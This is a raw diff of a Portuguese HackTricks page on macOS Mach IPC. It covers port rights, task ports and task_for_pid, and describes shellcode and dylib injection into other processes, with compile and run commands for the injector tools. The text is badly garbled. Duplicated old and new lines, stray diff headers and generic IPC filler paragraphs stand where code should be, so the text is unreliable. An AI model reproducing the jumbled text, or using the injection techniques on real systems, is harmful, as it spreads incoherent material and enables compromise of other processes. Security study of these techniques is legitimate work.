## macOS IPC - Comunicação entre Processos
### Introdução
A Comunicação entre Processos (IPC) é um mecanismo essencial para que os processos possam trocar informações e coordenar suas atividades em um sistema operacional. No macOS, existem várias formas de IPC disponíveis, como notificações por push, Apple Events, XPC e IPC baseado em porta.
### Apple Events
Os Apple Events são uma forma de IPC usada para automatizar aplicativos no macOS. Eles permitem que um aplicativo envie comandos e dados para outro aplicativo, possibilitando a automação de tarefas e a integração entre diferentes aplicativos.
### XPC
O XPC é um framework de IPC leve e seguro fornecido pela Apple. Ele permite que os aplicativos dividam tarefas em processos separados, melhorando a estabilidade e segurança do sistema.
### IPC baseado em porta
O IPC baseado em porta é uma forma de comunicação entre processos que utiliza portas para enviar mensagens entre processos. No macOS, o IPC baseado em porta é implementado pelo Mach IPC, que é a base para muitos outros mecanismos de IPC no sistema.
### Conclusão
Compreender os diferentes mecanismos de IPC disponíveis no macOS é essencial para desenvolver aplicativos seguros e eficientes. Cada forma de IPC tem suas próprias vantagens e limitações, e a escolha do mecanismo adequado depende dos requisitos específicos de cada aplicativo.
{% endtab %}
```c
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc sender.c -o sender
@ -260,20 +236,17 @@ return 1;
printf("Sent a message\n");
}
```
{% endtab %}
{% endtabs %}
### Portas Privilegiadas
- **Porta do host**: Se um processo tem **privilégio de Envio** sobre esta porta, ele pode obter **informações** sobre o **sistema** (por exemplo, `host_processor_info`).
- **Porta de privilégio do host**: Um processo com direito de **Envio** sobre esta porta pode realizar **ações privilegiadas** como carregar uma extensão de kernel. O **processo precisa ser root** para obter essa permissão.
- Além disso, para chamar a API **`kext_request`**, é necessário ter outros privilégios **`com.apple.private.kext*`**, que são concedidos apenas a binários da Apple.
- **Porta do nome da tarefa**: Uma versão não privilegiada da _porta da tarefa_. Ela faz referência à tarefa, mas não permite controlá-la. A única coisa aparentemente disponível por meio dela é `task_info()`.
- **Porta do host**: Se um processo tem o privilégio de **Enviar** sobre esta porta, ele pode obter **informações** sobre o **sistema** (por exemplo, `host_processor_info`).
- **Porta de privilégio do host**: Um processo com direito de **Enviar** sobre esta porta pode realizar **ações privilegiadas** como carregar uma extensão de kernel. O **processo precisa ser root** para obter essa permissão.
- Além disso, para chamar a API **`kext_request`**, é necessário ter outras autorizações **`com.apple.private.kext*`** que são concedidas apenas a binários da Apple.
- **Porta do nome da tarefa**: Uma versão não privilegiada da _porta da tarefa_. Ela faz referência à tarefa, mas não permite controlá-la. A única coisa que parece estar disponível por meio dela é `task_info()`.
- **Porta da tarefa** (também conhecida como porta do kernel)**:** Com permissão de Envio sobre esta porta, é possível controlar a tarefa (ler/escrever memória, criar threads...).
- Chame `mach_task_self()` para **obter o nome** desta porta para a tarefa do chamador. Esta porta é apenas **herdada** através de **`exec()`**; uma nova tarefa criada com `fork()` obtém uma nova porta de tarefa (como caso especial, uma tarefa também obtém uma nova porta de tarefa após `exec()` em um binário suid). A única maneira de iniciar uma tarefa e obter sua porta é realizar a ["dança de troca de porta"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html) enquanto faz um `fork()`.
- Chame `mach_task_self()` para **obter o nome** desta porta para a tarefa chamadora. Esta porta é apenas **herdada** através do **`exec()`**; uma nova tarefa criada com `fork()` obtém uma nova porta de tarefa (como caso especial, uma tarefa também obtém uma nova porta de tarefa após `exec()` em um binário suid). A única maneira de iniciar uma tarefa e obter sua porta é realizar a ["dança de troca de portas"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html) enquanto faz um `fork()`.
- Estas são as restrições para acessar a porta (do `macos_task_policy` do binário `AppleMobileFileIntegrity`):
- Se o aplicativo tiver o privilégio **`com.apple.security.get-task-allow`**, processos do **mesmo usuário podem acessar a porta da tarefa** (comumente adicionado pelo Xcode para depuração). O processo de **notarização** não permitirá isso em lançamentos de produção.
- Aplicativos com o privilégio **`com.apple.system-task-ports`** podem obter a **porta da tarefa de qualquer** processo, exceto o kernel. Em versões mais antigas, era chamado de **`task_for_pid-allow`**. Isso é concedido apenas a aplicativos da Apple.
- Se o aplicativo tiver a **autorização `com.apple.security.get-task-allow`**, processos do **mesmo usuário podem acessar a porta da tarefa** (comumente adicionado pelo Xcode para depuração). O processo de **notarização** não permitirá isso em lançamentos de produção.
- Aplicativos com a autorização **`com.apple.system-task-ports`** podem obter a **porta da tarefa de qualquer** processo, exceto o kernel. Em versões mais antigas, era chamado de **`task_for_pid-allow`**. Isso é concedido apenas a aplicativos da Apple.
- **Root pode acessar portas de tarefas** de aplicativos **não** compilados com um tempo de execução **fortificado** (e não da Apple).
### Injeção de Shellcode em thread via Porta da Tarefa
@ -283,6 +256,9 @@ Você pode obter um shellcode em:
{% content-ref url="../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %}
[arm64-basic-assembly.md](../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
{% endcontent-ref %}
{% tabs %}
{% tab title="mysleep.m" %}
```objectivec
// clang -framework Foundation mysleep.m -o mysleep
// codesign --entitlements entitlements.plist -s - mysleep
@ -320,27 +296,27 @@ return 0;
### Introdução
A Comunicação entre Processos (IPC) é um mecanismo essencial para que os processos em um sistema operacional possam interagir entre si. No macOS, existem várias formas de IPC, como notificações por push, Apple Events, XPC e IPC baseado em porta.
A Comunicação entre Processos (IPC) é um mecanismo essencial para que os processos em um sistema operacional possam interagir entre si. No macOS, existem várias formas de IPC, como notificações distribuídas, Apple Events, XPC e IPC baseado em porta.
### Notificações por Push
### Notificações Distribuídas
As notificações por push são usadas para enviar informações entre processos de forma assíncrona. Isso é comumente usado em aplicativos para notificar sobre eventos ou atualizações.
As Notificações Distribuídas permitem que os processos enviem e recebam notificações assíncronas. Isso pode ser útil para comunicação entre aplicativos ou mesmo entre diferentes partes de um mesmo aplicativo.
### Apple Events
Os Apple Events são uma forma de IPC usada para automatizar tarefas entre aplicativos. Eles permitem que um aplicativo envie comandos para outro aplicativo para que ele execute ações específicas.
Os Apple Events são uma forma de IPC que permite que os aplicativos controlem outros aplicativos e automatizem tarefas. Isso é amplamente utilizado em automação e integração de aplicativos no macOS.
### XPC
O XPC (XPC Services) é um mecanismo de IPC mais seguro e eficiente introduzido no macOS. Ele permite que os aplicativos dividam tarefas em processos separados, melhorando a segurança e estabilidade do sistema.
O XPC (XPC Services) é um mecanismo de IPC mais seguro e eficiente introduzido no macOS. Ele permite que os aplicativos dividam tarefas em processos separados, melhorando a estabilidade e segurança do sistema.
### IPC baseado em porta
### IPC baseado em Porta
O IPC baseado em porta é usado para comunicação entre processos em um sistema. Cada porta tem um nome único e os processos podem enviar mensagens um para o outro através dessas portas.
O IPC baseado em porta é outra forma de comunicação entre processos no macOS. Ele envolve a criação de portas de comunicação que os processos podem usar para trocar mensagens de forma segura e controlada.
### Conclusão
Compreender os diferentes métodos de IPC no macOS é essencial para desenvolver aplicativos seguros e estáveis. Cada método tem suas próprias vantagens e casos de uso específicos, e escolher o método certo depende dos requisitos do aplicativo e do nível de segurança desejado.
Compreender os diferentes mecanismos de IPC no macOS é essencial para desenvolver aplicativos seguros e eficientes. Cada forma de IPC tem suas próprias vantagens e considerações de segurança, e escolher a abordagem correta é fundamental para garantir a integridade do sistema.
{% endtab %}
```xml
@ -355,7 +331,7 @@ Compreender os diferentes métodos de IPC no macOS é essencial para desenvolver
{% endtab %}
{% endtabs %}
**Compile** o programa anterior e adicione as **permissões** necessárias para poder injetar código com o mesmo usuário (caso contrário, será necessário usar **sudo**).
**Compile** o programa anterior e adicione os **privilégios** para poder injetar código com o mesmo usuário (caso contrário, será necessário usar **sudo**).
<details>
@ -556,16 +532,20 @@ inject(pid);
return 0;
}
```
</details>
</details>
## macOS IPC (Comunicação entre Processos)
A Comunicação entre Processos (IPC) é um mecanismo essencial para que os processos em um sistema operacional possam trocar informações e coordenar suas atividades. No macOS, existem várias formas de IPC, incluindo notificações por push, Apple Events, XPC e IPC baseado em porta. Cada método possui suas próprias características e casos de uso específicos. É importante entender como esses mecanismos funcionam e como podem ser utilizados de forma segura para evitar possíveis vulnerabilidades de segurança e escalonamento de privilégios.
```bash
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject <pi or string>
```
### Injeção de Dylib em thread via porta de Tarefa
No macOS, as **threads** podem ser manipuladas via **Mach** ou usando a **API posix `pthread`**. A thread gerada na injeção anterior foi gerada usando a api Mach, então **não é compatível com posix**.
No macOS, **threads** podem ser manipulados via **Mach** ou usando **api posix `pthread`**. A thread que geramos na injeção anterior foi gerada usando a api Mach, então **não é compatível com posix**.
Foi possível **injetar um shellcode simples** para executar um comando porque **não era necessário trabalhar com apis compatíveis com posix**, apenas com Mach. **Injeções mais complexas** precisariam que a **thread** também fosse **compatível com posix**.
Foi possível **injetar um shellcode simples** para executar um comando porque **não precisava trabalhar com apis compatíveis com posix**, apenas com Mach. **Injeções mais complexas** precisariam que a **thread** também fosse **compatível com posix**.
Portanto, para **melhorar a thread**, ela deve chamar **`pthread_create_from_mach_thread`** que irá **criar um pthread válido**. Em seguida, este novo pthread poderia **chamar dlopen** para **carregar uma dylib** do sistema, então em vez de escrever novo shellcode para realizar ações diferentes, é possível carregar bibliotecas personalizadas.
@ -849,7 +829,11 @@ fprintf(stderr,"Dylib não encontrado\n");
}
```
</details>
</details>
## macOS IPC (Comunicação entre Processos)
A comunicação entre processos no macOS é facilitada por meio de vários mecanismos, como notificações por push, Apple Events, XPC e IPC baseado em porta. Esses mecanismos são usados para permitir a comunicação entre aplicativos e processos em um sistema macOS. É importante entender como esses mecanismos funcionam e como podem ser explorados por atacantes em potencial.
```bash
gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
./inject <pid-of-mysleep> </path/to/lib.dylib>
@ -864,11 +848,11 @@ Nesta técnica, uma thread do processo é sequestrada:
## XPC
### Informações Básicas
### Informação Básica
XPC, que significa Comunicação entre Processos XNU (o kernel usado pelo macOS), é um framework para **comunicação entre processos** no macOS e iOS. XPC fornece um mecanismo para fazer **chamadas de método seguras e assíncronas entre diferentes processos** no sistema. É parte do paradigma de segurança da Apple, permitindo a **criação de aplicativos com separação de privilégios** onde cada **componente** é executado com **apenas as permissões necessárias** para realizar seu trabalho, limitando assim os danos potenciais de um processo comprometido.
XPC, que significa Comunicação entre Processos XNU (o kernel usado pelo macOS), é um framework para **comunicação entre processos** no macOS e iOS. XPC fornece um mecanismo para fazer **chamadas de método seguras e assíncronas entre diferentes processos** no sistema. É parte do paradigma de segurança da Apple, permitindo a **criação de aplicativos com separação de privilégios** onde cada **componente** é executado com **apenas as permissões necessárias** para realizar seu trabalho, limitando assim o dano potencial de um processo comprometido.
Para obter mais informações sobre como essa **comunicação funciona** e como ela **pode ser vulnerável**, confira:
Para mais informações sobre como essa **comunicação funciona** e como ela **pode ser vulnerável**, confira:
{% content-ref url="../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/" %}
[macos-xpc](../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/)
@ -894,14 +878,14 @@ Para mais informações, confira:
<details>
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou nos siga no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

311
macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/README.md
View file

@ -4,9 +4,9 @@
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@ -18,7 +18,7 @@ Outras formas de apoiar o HackTricks:
### Informações Básicas
O Mach usa **tarefas** como a **unidade mais pequena** para compartilhar recursos, e cada tarefa pode conter **múltiplas threads**. Essas **tarefas e threads são mapeadas em um para um para processos e threads POSIX**.
O Mach usa **tarefas** como a **unidade mais pequena** para compartilhar recursos, e cada tarefa pode conter **múltiplas threads**. Essas **tarefas e threads são mapeadas em um para um com processos e threads POSIX**.
A comunicação entre tarefas ocorre via Comunicação entre Processos Mach (IPC), utilizando canais de comunicação unidirecional. **As mensagens são transferidas entre portas**, que funcionam como **filas de mensagens** gerenciadas pelo kernel.
@ -32,8 +32,8 @@ Um processo também pode enviar um nome de porta com alguns direitos **para uma
Os direitos de porta, que definem quais operações uma tarefa pode realizar, são essenciais para essa comunicação. Os possíveis **direitos de porta** são ([definições daqui](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
* **Direito de Receber**, que permite receber mensagens enviadas para a porta. As portas Mach são filas MPSC (múltiplos produtores, um consumidor), o que significa que pode haver apenas **um direito de receber para cada porta** em todo o sistema (ao contrário de pipes, onde vários processos podem ter descritores de arquivo para a extremidade de leitura de um pipe).
* Uma **tarefa com o Direito de Receber** pode receber mensagens e **criar Direitos de Envio**, permitindo enviar mensagens. Originalmente apenas a **própria tarefa tem o Direito de Receber sobre sua porta**.
* **Direito de Receber**, que permite receber mensagens enviadas para a porta. As portas Mach são filas MPSC (múltiplos produtores, único consumidor), o que significa que pode haver apenas **um direito de receber para cada porta** em todo o sistema (ao contrário de pipes, onde vários processos podem todos ter descritores de arquivo para a extremidade de leitura de um pipe).
* Uma **tarefa com o Direito de Receber** pode receber mensagens e **criar Direitos de Envio**, permitindo-lhe enviar mensagens. Originalmente, apenas a **própria tarefa tem o Direito de Receber sobre sua porta**.
* Se o proprietário do Direito de Receber **morre** ou o encerra, o **direito de envio se torna inútil (nome morto).**
* **Direito de Envio**, que permite enviar mensagens para a porta.
* O Direito de Envio pode ser **clonado** para que uma tarefa que possui um Direito de Envio possa clonar o direito e **concedê-lo a uma terceira tarefa**.
@ -47,7 +47,7 @@ Os direitos de porta, que definem quais operações uma tarefa pode realizar, s
### Portas de Arquivo
Portas de arquivo permitem encapsular descritores de arquivo em portas Mac (usando direitos de porta Mach). É possível criar um `fileport` a partir de um FD dado usando `fileport_makeport` e criar um FD a partir de um fileport usando `fileport_makefd`.
As portas de arquivo permitem encapsular descritores de arquivo em portas Mac (usando direitos de porta Mach). É possível criar um `fileport` a partir de um determinado FD usando `fileport_makeport` e criar um FD a partir de um fileport usando `fileport_makefd`.
### Estabelecendo uma comunicação
@ -65,7 +65,7 @@ Para isso, o **servidor de inicialização** (**launchd** no Mac) está envolvid
6. Com este DIREITO DE ENVIO, a **Tarefa B** é capaz de **enviar** uma **mensagem** **para a Tarefa A**.
7. Para uma comunicação bidirecional, geralmente a tarefa **B** gera uma nova porta com um **direito de RECEBER** e um **DIREITO DE ENVIO**, e dá o **DIREITO DE ENVIO para a Tarefa A** para que ela possa enviar mensagens para a TAREFA B (comunicação bidirecional).
O servidor de inicialização **não pode autenticar** o nome do serviço reivindicado por uma tarefa. Isso significa que uma **tarefa** poderia potencialmente **falsificar qualquer tarefa do sistema**, como **reivindicar falsamente um nome de serviço de autorização** e então aprovar cada solicitação.
O servidor de inicialização **não pode autenticar** o nome do serviço reivindicado por uma tarefa. Isso significa que uma **tarefa** poderia potencialmente **fingir ser qualquer tarefa do sistema**, como falsamente **reivindicar um nome de serviço de autorização** e então aprovar cada solicitação.
Em seguida, a Apple armazena os **nomes dos serviços fornecidos pelo sistema** em arquivos de configuração seguros, localizados em diretórios protegidos pelo SIP: `/System/Library/LaunchDaemons` e `/System/Library/LaunchAgents`. Ao lado de cada nome de serviço, o **binário associado também é armazenado**. O servidor de inicialização, criará e manterá um **direito de RECEBER para cada um desses nomes de serviço**.
@ -73,8 +73,8 @@ Para esses serviços predefinidos, o **processo de busca difere ligeiramente**.
* A Tarefa **B** inicia uma **busca de inicialização** para um nome de serviço.
* **launchd** verifica se a tarefa está em execução e, se não estiver, a **inicia**.
* A Tarefa **A** (o serviço) executa um **check-in de inicialização** (`bootstrap_check_in()`). Aqui, o **servidor de inicialização** cria um DIREITO DE ENVIO, o retém e **transfere o DIREITO DE RECEBER para a Tarefa A**.
* launchd duplica o **DIREITO DE ENVIO e envia para a Tarefa B**.
* A Tarefa **A** (o serviço) executa um **check-in de inicialização** (`bootstrap_check_in()`). Aqui, o **servidor de inicialização** cria um DIREITO DE ENVIO, retém-o e **transfere o DIREITO DE RECEBER para a Tarefa A**.
* O launchd duplica o **DIREITO DE ENVIO e envia para a Tarefa B**.
* A Tarefa **B** gera uma nova porta com um **direito de RECEBER** e um **DIREITO DE ENVIO**, e dá o **DIREITO DE ENVIO para a Tarefa A** (o svc) para que ela possa enviar mensagens para a TAREFA B (comunicação bidirecional).
No entanto, esse processo se aplica apenas a tarefas de sistema predefinidas. Tarefas não do sistema ainda operam conforme descrito originalmente, o que poderia potencialmente permitir a falsificação.
@ -86,7 +86,7 @@ Portanto, o launchd nunca deve falhar, ou todo o sistema falhará.
[Encontre mais informações aqui](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
A função `mach_msg`, essencialmente uma chamada de sistema, é utilizada para enviar e receber mensagens Mach. A função requer que a mensagem seja enviada como argumento inicial. Esta mensagem deve começar com uma estrutura `mach_msg_header_t`, seguida pelo conteúdo da mensagem real. A estrutura é definida da seguinte forma:
A função `mach_msg`, essencialmente uma chamada de sistema, é utilizada para enviar e receber mensagens Mach. A função requer que a mensagem seja enviada como argumento inicial. Esta mensagem deve começar com uma estrutura `mach_msg_header_t`, seguida pelo conteúdo real da mensagem. A estrutura é definida da seguinte forma:
```c
typedef struct {
mach_msg_bits_t msgh_bits;
@ -130,16 +130,16 @@ Note que esse tipo de comunicação bidirecional é usado em mensagens XPC que e
Os outros campos do cabeçalho da mensagem são:
- `msgh_size`: o tamanho do pacote inteiro.
- `msgh_size`: o tamanho de todo o pacote.
- `msgh_remote_port`: a porta para a qual esta mensagem é enviada.
- `msgh_voucher_port`: [vouchers mach](https://robert.sesek.com/2023/6/mach\_vouchers.html).
- `msgh_id`: o ID desta mensagem, que é interpretado pelo receptor.
{% hint style="danger" %}
Note que **mensagens mach são enviadas por uma `porta mach`**, que é um canal de comunicação de **um único receptor** e **múltiplos remetentes** incorporado no kernel mach. **Múltiplos processos** podem **enviar mensagens** para uma porta mach, mas em qualquer momento apenas **um único processo pode ler** dela.
Note que **mensagens mach são enviadas por uma `porta mach`**, que é um canal de comunicação de **um único receptor**, **múltiplos remetentes** integrado no kernel mach. **Múltiplos processos** podem **enviar mensagens** para uma porta mach, mas em qualquer momento apenas **um único processo pode ler** dela.
{% endhint %}
As mensagens são então formadas pelo cabeçalho **`mach_msg_header_t`** seguido pelo **corpo** e pelo **trailer** (se houver) e podem conceder permissão para responder a ela. Nestes casos, o kernel só precisa passar a mensagem de uma tarefa para a outra.
As mensagens são então formadas pelo cabeçalho **`mach_msg_header_t`** seguido pelo **corpo** e pelo **trailer** (se houver) e pode conceder permissão para responder a ela. Nestes casos, o kernel só precisa passar a mensagem de uma tarefa para a outra.
Um **trailer** é **informação adicionada à mensagem pelo kernel** (não pode ser definida pelo usuário) que pode ser solicitada na recepção da mensagem com as flags `MACH_RCV_TRAILER_<trailer_opt>` (há diferentes informações que podem ser solicitadas).
@ -182,7 +182,7 @@ Observe que as portas estão associadas ao namespace da tarefa, então para cria
* `mach_port_names`: Obter nomes de porta de um alvo
* `mach_port_type`: Obter direitos de uma tarefa sobre um nome
* `mach_port_rename`: Renomear uma porta (como dup2 para FDs)
* `mach_port_allocate`: Alocar um novo RECEBER, CONJUNTO_DE_PORTAS ou DEAD_NAME
* `mach_port_allocate`: Alocar um novo RECEBER, CONJUNTO_DE_PORTAS ou NOME_MORTO
* `mach_port_insert_right`: Criar um novo direito em uma porta onde você tem RECEBER
* `mach_port_...`
* **`mach_msg`** | **`mach_msg_overwrite`**: Funções usadas para **enviar e receber mensagens mach**. A versão de sobrescrita permite especificar um buffer diferente para a recepção da mensagem (a outra versão apenas o reutilizará).
@ -285,7 +285,7 @@ name ipc-object rights flags boost reqs recv send sonce oref q
[...]
```
O **nome** é o nome padrão dado à porta (verifique como ele está **aumentando** nos primeiros 3 bytes). O **`ipc-object`** é o **identificador** único **ofuscado** da porta.\
Observe também como as portas com apenas direito de **`send`** estão **identificando o proprietário** dela (nome da porta + pid).\
Observe também como as portas com apenas o direito de **`send`** estão **identificando o proprietário** dela (nome da porta + pid).\
Observe também o uso de **`+`** para indicar **outras tarefas conectadas à mesma porta**.
Também é possível usar [**procesxp**](https://www.newosxbook.com/tools/procexp.html) para ver também os **nomes de serviço registrados** (com SIP desativado devido à necessidade de `com.apple.system-task-port`):
@ -433,7 +433,7 @@ Essas portas são representadas por um número.
Os direitos de **ENVIO** podem ser obtidos chamando **`host_get_special_port`** e os direitos de **RECEBIMENTO** chamando **`host_set_special_port`**. No entanto, ambas as chamadas requerem a porta **`host_priv`** que apenas o root pode acessar. Além disso, no passado, o root era capaz de chamar **`host_set_special_port`** e sequestrar arbitrariamente o que permitia, por exemplo, ignorar assinaturas de código sequestrando `HOST_KEXTD_PORT` (SIP agora impede isso).
Essas portas são divididas em 2 grupos: As **primeiras 7 portas são de propriedade do kernel** sendo a 1 `HOST_PORT`, a 2 `HOST_PRIV_PORT`, a 3 `HOST_IO_MASTER_PORT` e a 7 é `HOST_MAX_SPECIAL_KERNEL_PORT`.\
As que começam **a partir** do número **8** são **de propriedade de daemons do sistema** e podem ser encontradas declaradas em [**`host_special_ports.h`**](https://opensource.apple.com/source/xnu/xnu-4570.1.46/osfmk/mach/host\_special\_ports.h.auto.html).
As que começam **a partir do número 8** são **de propriedade de daemons do sistema** e podem ser encontradas declaradas em [**`host_special_ports.h`**](https://opensource.apple.com/source/xnu/xnu-4570.1.46/osfmk/mach/host\_special\_ports.h.auto.html).
* **Porta do Host**: Se um processo tem **privilégio de ENVIO** sobre esta porta, ele pode obter **informações** sobre o **sistema** chamando suas rotinas como:
* `host_processor_info`: Obter informações do processador
@ -441,7 +441,7 @@ As que começam **a partir** do número **8** são **de propriedade de daemons d
* `host_virtual_physical_table_info`: Tabela de páginas virtual/física (requer MACH\_VMDEBUG)
* `host_statistics`: Obter estatísticas do host
* `mach_memory_info`: Obter layout de memória do kernel
* **Porta Priv do Host**: Um processo com **direito de ENVIO** sobre esta porta pode realizar **ações privilegiadas** como mostrar dados de inicialização ou tentar carregar uma extensão de kernel. O **processo precisa ser root** para obter essa permissão.
* **Porta Priv do Host**: Um processo com direito de **ENVIO** sobre esta porta pode realizar **ações privilegiadas** como mostrar dados de inicialização ou tentar carregar uma extensão de kernel. O **processo precisa ser root** para obter essa permissão.
* Além disso, para chamar a API **`kext_request`** é necessário ter outras permissões **`com.apple.private.kext*`** que são concedidas apenas a binários da Apple.
* Outras rotinas que podem ser chamadas são:
* `host_get_boot_info`: Obter `machine_boot_info()`
@ -455,42 +455,76 @@ As que começam **a partir** do número **8** são **de propriedade de daemons d
```bash
procexp all ports | grep "HSP"
```
### Portas de Tarefas
### Tarefa Portas Especiais
Originalmente, o Mach não tinha "processos", tinha "tarefas" que eram consideradas mais como um contêiner de threads. Quando o Mach foi mesclado com o BSD, **cada tarefa foi correlacionada com um processo BSD**. Portanto, cada processo BSD tem os detalhes necessários para ser um processo e cada tarefa Mach também tem suas operações internas (exceto pelo pid inexistente 0 que é o `kernel_task`).
Estas são portas reservadas para serviços conhecidos. É possível obtê-las/configurá-las chamando `task_[get/set]_special_port`. Elas podem ser encontradas em `task_special_ports.h`:
```c
typedef int task_special_port_t;
#define TASK_KERNEL_PORT 1 /* Represents task to the outside
world.*/
#define TASK_HOST_PORT 2 /* The host (priv) port for task. */
#define TASK_BOOTSTRAP_PORT 4 /* Bootstrap environment for task. */
#define TASK_WIRED_LEDGER_PORT 5 /* Wired resource ledger for task. */
#define TASK_PAGED_LEDGER_PORT 6 /* Paged resource ledger for task. */
```
De [aqui](https://web.mit.edu/darwin/src/modules/xnu/osfmk/man/task\_get\_special\_port.html):
* **TASK\_KERNEL\_PORT**\[direito de envio de tarefa-self]: A porta usada para controlar esta tarefa. Usada para enviar mensagens que afetam a tarefa. Esta é a porta retornada por **mach\_task\_self (ver Portas de Tarefa abaixo)**.
* **TASK\_BOOTSTRAP\_PORT**\[direito de envio de inicialização]: A porta de inicialização da tarefa. Usada para enviar mensagens solicitando o retorno de outras portas de serviço do sistema.
* **TASK\_HOST\_NAME\_PORT**\[direito de envio de host-self]: A porta usada para solicitar informações do host contido. Esta é a porta retornada por **mach\_host\_self**.
* **TASK\_WIRED\_LEDGER\_PORT**\[direito de envio de livro-razão]: A porta que nomeia a fonte da qual esta tarefa retira sua memória com fio do kernel.
* **TASK\_PAGED\_LEDGER\_PORT**\[direito de envio de livro-razão]: A porta que nomeia a fonte da qual esta tarefa retira sua memória gerenciada por padrão.
### Portas de Tarefa
Originalmente, o Mach não tinha "processos", tinha "tarefas", que eram consideradas mais como contêineres de threads. Quando o Mach foi mesclado com o BSD, **cada tarefa foi correlacionada com um processo BSD**. Portanto, cada processo BSD tem os detalhes necessários para ser um processo e cada tarefa Mach também tem seus funcionamentos internos (exceto pelo pid inexistente 0, que é o `kernel_task`).
Existem duas funções muito interessantes relacionadas a isso:
- `task_for_pid(target_task_port, pid, &task_port_of_pid)`: Obter um direito de ENVIO para a porta da tarefa relacionada ao especificado pelo `pid` e entregá-lo à `target_task_port` indicada (que geralmente é a tarefa chamadora que usou `mach_task_self()`, mas poderia ser uma porta de ENVIO sobre uma tarefa diferente).
- `pid_for_task(task, &pid)`: Dado um direito de ENVIO para uma tarefa, encontrar a qual PID essa tarefa está relacionada.
* `task_for_pid(porta_tarefa_alvo, pid, &porta_tarefa_do_pid)`: Obtenha um direito de envio para a porta da tarefa relacionada ao especificado pelo `pid` e dê-o à `porta_tarefa_alvo` indicada (que geralmente é a tarefa chamadora que usou `mach_task_self()`, mas poderia ser uma porta de envio sobre uma tarefa diferente).
* `pid_for_task(tarefa, &pid)`: Dado um direito de envio para uma tarefa, encontre a qual PID essa tarefa está relacionada.
Para realizar ações dentro da tarefa, a tarefa precisava de um direito de `ENVIO` para si mesma chamando `mach_task_self()` (que usa o `task_self_trap` (28)). Com essa permissão, uma tarefa pode realizar várias ações como:
Para realizar ações dentro da tarefa, a tarefa precisava de um direito de envio para si mesma chamando `mach_task_self()` (que usa o `task_self_trap` (28)). Com essa permissão, uma tarefa pode realizar várias ações como:
- `task_threads`: Obter direitos de ENVIO sobre todas as portas de tarefa das threads da tarefa
- `task_info`: Obter informações sobre uma tarefa
- `task_suspend/resume`: Suspender ou retomar uma tarefa
- `task_[get/set]_special_port`
- `thread_create`: Criar uma thread
- `task_[get/set]_state`: Controlar o estado da tarefa
- e mais pode ser encontrado em [**mach/task.h**](https://github.com/phracker/MacOSX-SDKs/blob/master/MacOSX11.3.sdk/System/Library/Frameworks/Kernel.framework/Versions/A/Headers/mach/task.h)
* `task_threads`: Obter direitos de envio sobre todas as portas de tarefa das threads da tarefa
* `task_info`: Obter informações sobre uma tarefa
* `task_suspend/resume`: Suspender ou retomar uma tarefa
* `task_[get/set]_special_port`
* `thread_create`: Criar uma thread
* `task_[get/set]_state`: Controlar o estado da tarefa
* e mais podem ser encontrados em [**mach/task.h**](https://github.com/phracker/MacOSX-SDKs/blob/master/MacOSX11.3.sdk/System/Library/Frameworks/Kernel.framework/Versions/A/Headers/mach/task.h)
{% hint style="danger" %}
Observe que com um direito de ENVIO sobre uma porta de tarefa de uma **tarefa diferente**, é possível realizar tais ações sobre uma tarefa diferente.
Observe que com um direito de envio sobre uma porta de tarefa de uma **tarefa diferente**, é possível realizar tais ações sobre uma tarefa diferente.
{% endhint %}
